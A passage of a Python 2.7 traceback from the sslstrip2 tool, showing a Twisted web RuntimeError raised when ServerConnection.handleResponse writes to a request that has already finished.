self.handleResponseEnd() File "/root/sslstrip2/sslstrip/ServerConnection.py", line 127, in handleResponseEnd HTTPClient.handleResponseEnd(self) File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 497, in handleResponseEnd self.handleResponse(b) File "/root/sslstrip2/sslstrip/ServerConnection.py", line 143, in handleResponse self.client.write(data) File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 896, in write raise RuntimeError('Request.write called on a request after ' exceptions.RuntimeError: Request.write called on a request after Request.finish was called.